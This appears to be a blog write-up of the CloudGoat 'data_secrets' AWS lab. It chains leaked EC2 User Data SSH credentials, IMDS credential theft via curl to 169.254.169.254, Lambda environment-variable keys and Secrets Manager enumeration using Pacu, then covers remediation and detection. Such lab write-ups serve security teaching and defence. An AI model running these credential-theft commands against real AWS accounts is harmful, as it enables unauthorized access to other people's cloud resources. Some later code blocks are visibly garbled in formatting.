๐ฅท CloudGoat: Data Secrets
Write-up: Exploiting EC2 User Data and IMDS to escalate privileges
๐งญ Overview
Scenario: data_secrets \
Platform: CloudGoat (Rhino Security Labs) \
Tools: Pacu + AWS CLI + SSH \
Objective: Steal credentials through EC2 User Data, leverage IMDS to escalate, enumerate Lambda functions, and retrieve the flag from Secrets Manager.
โ๏ธ Attack Path Summary
Limited User โ EC2 Enum โ User Data Leak โ SSH Access โ IMDS Token Theft โ Lambda Enum โ DB Credentials โ Secrets Manager โ Flag
๐ Phase 1: Initial Access
Configure Profile
aws configure --profile data_secrets
# Access Key: AKIA****************
# Secret Key: dHQo/hANNyGHxSCBhOmN********************
Validate Credentials
aws sts get-caller-identity --profile data_secrets
{
"UserId": "AIDA****************",
"Account": "7912********",
"Arn": "arn:aws:iam::7912********:user/cg-start-user-cgido7xwddyilh"
}
๐ Phase 2: IAM Enumeration
Launch Pacu and Import Keys
pacu
Pacu > import_keys data_secrets
Enumerate Permissions
Pacu > run iam__bruteforce_permissions --region us-east-1
[iam__bruteforce_permissions] Enumerated IAM Permissions:
[iam__bruteforce_permissions] ec2.describe_instances() worked!
[iam__bruteforce_permissions] ec2.describe_tags() worked!
[iam__bruteforce_permissions] dynamodb.describe_endpoints() worked!
[iam__bruteforce_permissions] sts.get_session_token() worked!
[iam__bruteforce_permissions] sts.get_caller_identity() worked!
[iam__bruteforce_permissions] MODULE SUMMARY:
Num of IAM permissions found: 5
View Confirmed Permissions
Pacu > whoami
{
"UserName": "cg-start-user-cgido7xwddyilh",
"Arn": "arn:aws:iam::7912********:user/cg-start-user-cgido7xwddyilh",
"Permissions": {
"Allow": [
"ec2:DescribeTags",
"ec2:DescribeInstances",
"sts:GetSessionToken",
"sts:GetCallerIdentity",
"dynamodb:DescribeEndpoints"
]
}
}
Key Findings
| Service | Permissions | Note |
|---|---|---|
| EC2 |
DescribeInstances, DescribeTags
|
Can enumerate EC2 instances and metadata |
| STS |
GetCallerIdentity, GetSessionToken
|
Can verify identity |
| DynamoDB | DescribeEndpoints |
Low impact |
The ability to describe EC2 instances is the key to exploiting this scenario.
๐ฅ๏ธ Phase 3: EC2 Enumeration and User Data Extraction
Discover EC2 Instances
Pacu > run ec2__enum --region us-east-1
[ec2__enum] 1 instance(s) found.
[ec2__enum] 1 public IP address(es) found and added to text file
Extract Public IP
Pacu saves the IP to: ~/.local/share/pacu/data_secrets/downloads/ec2_public_ips_data_secrets_us-east-1.txt
Public IP: 13.***.***.***
Download User Data
Pacu > help ec2__download_userdata
Pacu > run ec2__download_userdata
Select target region when prompted: us-east-1
View User Data Content
Pacu downloads User Data to: ~/.local/share/pacu/data_secrets/downloads/ec2_user_data/
#!/bin/bash
echo "ec2-user:CloudGoatInstancePassword!" | chpasswd
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
service sshd restart
Critical Findings
| Artifact | Value |
|---|---|
| EC2 Instance ID | i-0827322ea4150fec3 |
| Public IP | 13.***.***.*** |
| SSH Username | ec2-user |
| SSH Password | CloudGoatInstancePassword! |
The User Data script reveals hardcoded SSH credentials, a critical misconfiguration.
๐ Phase 4: SSH Access and IMDS Token Theft
Connect to EC2 Instance
ssh ec2-user@13.***.***.***
# Password: CloudGoatInstancePassword!
Get IMDSv2 Token
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
Retrieve IAM Role Name
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/)
echo $ROLE_NAME
Output: cg-ec2-role-cgido7xwddyilh
Steal Temporary Credentials
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME
{
"Code": "Success",
"AccessKeyId": "ASIA****************",
"SecretAccessKey": "f7vFfkcw9iuwNF2mOYPzjw********************",
"Token": "IQoJb3JpZ2luX2VjEDwaCXVzLWVhc3QtMSJI..."
}
Configure EC2 Role Profile
aws configure --profile ec2_profile
# Access Key: ASIA****************
# Secret Key: f7vFfkcw9iuwNF2mOYPz********************
# Session Token: (paste the full token)
Validate EC2 Role Credentials
aws sts get-caller-identity --profile ec2_profile
{
"UserId": "AROA3QN6JWS34Z26XSFIZ:i-0827322ea4150fec3",
"Account": "7912********",
"Arn": "arn:aws:sts::7912********:assumed-role/cg-ec2-role-cgido7xwddyilh/i-0827322ea4150fec3"
}
Critical Findings
| Artifact | Value |
|---|---|
| Temporary Access Key | ASIA**************** |
| Temporary Secret Key | f7vFfkcw9iuwNF2mOYPzjwe******************** |
| Session Token | (Long-lived temporary credential) |
Successfully escalated from IAM user to EC2 instance role.
๐ Phase 5: Enumerate EC2 Role Permissions
Import EC2 Profile to Pacu
pacu
Pacu > import_keys ec2_profile
Pacu > run iam__bruteforce_permissions --region us-east-1
[iam__bruteforce_permissions] dynamodb.describe_endpoints() worked!
[iam__bruteforce_permissions] sts.get_caller_identity() worked!
[iam__bruteforce_permissions] lambda.list_functions() worked!
[iam__bruteforce_permissions] MODULE SUMMARY:
Num of IAM permissions found: 3
View EC2 Role Permissions
Pacu > whoami
{
"AccessKeyId": "ASIA****************",
"Permissions": {
"Allow": [
"dynamodb:DescribeEndpoints",
"sts:GetCallerIdentity",
"lambda:ListFunctions"
]
}
}
Key Finding
The EC2 role can enumerate Lambda functions, potentially exposing sensitive configuration data such as environment variables.
๐ Phase 6: Lambda Enumeration and Credential Discovery
List Lambda Functions
Pacu > search lambda
Pacu > help lambda__enum
Pacu > run lambda__enum --region us-east-1
[lambda__enum] Enumerating data for cg-lambda-function-cgido7xwddyilh
[+] Secret (ENV): DB_USER_ACCESS_KEY= AKIA****************
[+] Secret (ENV): DB_USER_SECRET_KEY= zHq6/a2/cotXfMhK2bvv********************
[lambda__enum] 1 functions found in us-east-1
Critical Findings
| Environment Variable | Value |
|---|---|
DB_USER_ACCESS_KEY |
AKIA**************** |
DB_USER_SECRET_KEY |
`zHq6/a2/cotXfMhK2bvv/py******************** |
The Lambda function's environment variables contain hardcoded AWS credentials for a database user.
๐พ Phase 7: Final Privilege Escalation via Lambda Credentials
Configure Lambda User Profile
`bash
aws configure --profile lambda_profile
Access Key: AKIA****************
Secret Key: zHq6/a2/cotXfMhK2bvv********************
`
Enumerate Lambda User Permissions
bash
pacu
console
Pacu > import_keys lambda_profile
Pacu > run iam__bruteforce_permissions --region us-east-1
`console
[iam_bruteforce_permissions] dynamodb.describe_endpoints() worked!
[iambruteforce_permissions] secretsmanager.list_secrets() worked!
[iambruteforce_permissions] sts.get_session_token() worked!
[iam_bruteforce_permissions] sts.get_caller_identity() worked!
[iam__bruteforce_permissions] MODULE SUMMARY:
Num of IAM permissions found: 4
`
View Lambda User Permissions
console
Pacu > whoami
json
{
"UserName": "cg-lambda-user-cgido7xwddyilh",
"Arn": "arn:aws:iam::7912********:user/cg-lambda-user-cgido7xwddyilh",
"Permissions": {
"Allow": [
"dynamodb:DescribeEndpoints",
"sts:GetSessionToken",
"sts:GetCallerIdentity",
"secretsmanager:ListSecrets"
]
}
}
Key Finding
The Lambda user can enumerate Secrets Manager resources, enabling discovery of sensitive stored data.
๐ฉ Phase 8: Capture the Flag
List Secrets Manager Secrets
console
Pacu > search secret
Pacu > help secrets__enum
Pacu > run secrets__enum --region us-east-1
console
[secrets__enum] Starting region us-east-1...
[secrets__enum] Found secret: cg-final-flag-cgido7xwddyilh
[secrets__enum] 1 Secret(s) were found in AWS secretsmanager
Retrieve the Flag
bash
cat ~/.local/share/pacu/lambda_profile/downloads/secrets/secrets_manager/secrets.txt
json
cg-final-flag-cgido7xwddyilh: {"flag":"d4t4_s3cr3ts_4r3_fun"}
Flag: d4t4_s3cr3ts_4r3_fun
๐ Attack Chain Diagram
plaintext
โโโโโโโโโโโโโโโโโโโโโโโโ
โ Limited IAM User โ
โ (data_secrets) โ
โโโโโโโโโโโโฌโโโโโโโโโโโโ
โ ec2:DescribeInstances
โ ec2:DescribeTags
โผ
โโโโโโโโโโโโโโโโโโโโโโโโ
โ EC2 Instance Found โ
โ Public IP: 13.*.*.* โ
โโโโโโโโโโโโฌโโโโโโโโโโโโ
โ ec2__download_userdata
โผ
โโโโโโโโโโโโโโโโโโโโโโโโ
โ User Data Leak โ
โ SSH Credentials โ
โโโโโโโโโโโโฌโโโโโโโโโโโโ
โ SSH ec2-user@IP
โผ
โโโโโโโโโโโโโโโโโโโโโโโโ
โ SSH Access Gained โ
โ On EC2 Instance โ
โโโโโโโโโโโโฌโโโโโโโโโโโโ
โ IMDS Token (IMDSv2)
โ /latest/meta-data/iam/
โ security-credentials/
โผ
โโโโโโโโโโโโโโโโโโโโโโโโ
โ EC2 Role Creds โ
โ Temporary Session โ
โโโโโโโโโโโโฌโโโโโโโโโโโโ
โ lambda:ListFunctions
โผ
โโโโโโโโโโโโโโโโโโโโโโโโ
โ Lambda Functions โ
โ Environment Vars โ
โโโโโโโโโโโโฌโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโ
โ DB User Credentials โ
โ Hidden in Lambda โ
โโโโโโโโโโโโฌโโโโโโโโโโโโ
โ secretsmanager:ListSecrets
โผ
โโโโโโโโโโโโโโโโโโโโโโโโ
โ Secrets Manager โ
โ Final Flag Found โ
โโโโโโโโโโโโฌโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโ
โ FLAG โ
โ d4t4_s3cr3ts_4r3_fun โ
โโโโโโโโโโโโโโโโโโโโโโโโ
๐จ Vulnerabilities Exploited
| # | Vulnerability | CWE | CVSS |
|---|---|---|---|
| 1 | Hardcoded SSH credentials in EC2 User Data | CWE-798 | 9.8 |
| 2 | Improper Privilege Management | CWE-269 | 7.5 |
| 3 | Hardcoded AWS credentials in Lambda environment variables | CWE-798 | 9.8 |
| 4 | Overly permissive IAM role on EC2 instance | CWE-732 | 8.2 |
| 5 | Insufficient access controls on Secrets Manager | CWE-732 | 7.1 |
๐งฉ Architectural Failures
- Trusting User Data with secrets
- Treating Lambda environment variables as secure storage
- Allowing credential sprawl between services
- Over-permissioned instance role
- No separation between compute identity and data access
๐ก Remediation
-
Never store secrets in EC2 User Data
- Use AWS Systems Manager Session Manager for remote access
- If SSH is required, use EC2 Instance Connect or Systems Manager Session Manager
- Use key pairs instead of hardcoded passwords
-
Disable or restrict IMDSv1
`bashForce IMDSv2 only for new instances
aws ec2 run-instances \
--metadata-options "HttpTokens=required,HttpPutResponseHopLimit=1"
` -
Never store AWS credentials in environment variables
- Use IAM roles attached to resources
- Use AWS Secrets Manager for application secrets
- Use Parameter Store for configuration
Implement least privilege for IAM roles
json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:GetFunction",
"Resource": "arn:aws:lambda:*:*:function/specific-function"
}
]
}
-
Monitor and alert on suspicious activities
- Enable CloudTrail logging for all API calls
- Monitor CloudTrail for anomalous role assumption patterns or unusual Secrets Manager access originating from EC2 roles.
- Monitor for unusual EC2 access patterns
-
Enable encryption for secrets at rest and in transit
- Use KMS encryption for Secrets Manager
- Enforce TLS for all API communications
- Enable encryption for EC2 volumes
๐ Detection & Monitoring Opportunities
-
CloudTrail Monitoring
- DescribeInstances from low-privileged IAM users
- ListFunctions from EC2 instance roles -ListSecrets and GetSecretValue from unexpected principals
-
GuardDuty Alerts
- Instance credential exfiltration behavior
- Unusual role assumption patterns
-
IAM Access Analyzer
- Detect over-permissioned roles
- Identify unused permissions
-
VPC Flow Logs
- Monitor access to 169.254.169.254 (metadata endpoint)
๐ฏ MITRE ATT&CK Mapping
| Tactic | Technique | ID |
|---|---|---|
| Initial Access | Valid Accounts: Cloud Accounts | T1078.004 |
| Discovery | Cloud Service Discovery | T1526 |
| Credential Access | Unsecured Credentials: Credentials in Files / Environment Variables | T1552.001 |
| Credential Access | Cloud Instance Metadata API | T1552.005 |
| Lateral Movement | Use Alternate Authentication Material: Cloud Credentials | T1550.001 |
| Privilege Escalation | Valid Accounts: Cloud Accounts | T1078.004 |
๐ ๏ธ Commands Reference
AWS CLI
`bash
Initial enumeration
aws configure --profile data_secrets
aws sts get-caller-identity --profile data_secrets
EC2 enumeration
aws ec2 describe-instances --profile data_secrets --region us-east-1
aws ec2 describe-tags --profile data_secrets --region us-east-1
Configure additional profiles
aws configure --profile ec2_profile
aws configure --profile lambda_profile
Validate credentials
aws sts get-caller-identity --profile ec2_profile
aws sts get-caller-identity --profile lambda_profile
`
SSH and IMDS
`bash
SSH access
ssh ec2-user@
IMDSv2 token (within EC2 instance)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
Get IAM role name
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Get temporary credentials
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
`
Pacu Commands
`bash
Session and key management
import_keys
whoami
swap_session
Enumeration
run iam_bruteforce_permissions --region us-east-1
run ec2enum --region us-east-1
run ec2download_userdata
run lambdaenum --region us-east-1
run secrets_enum --region us-east-1
`
๐ Additional Resources
- AWS EC2 User Data Security
- IMDS v2 Improvements
- AWS Secrets Manager Best Practices
- IAM Best Practices
- CloudGoat Data Secrets Cheat Sheet
๐ Key Takeaways
- Defense in Depth: Multiple misconfigurations were chained together to achieve full compromise
- Credential Leakage: Secrets stored in plain text (User Data, environment variables) are easily discovered
- IMDS Exposure Risk: Instance role credentials are accessible from within the host by design; therefore, any host compromise effectively becomes a role compromise, underscoring the need for strict least-privilege policies on instance roles.
- Role Enumeration: Discovering attached roles and their permissions reveals the attack surface
- Lateral Movement: Each compromised credential opens new exploitation paths
You can also read this post on my portfolio page.
Top comments (0)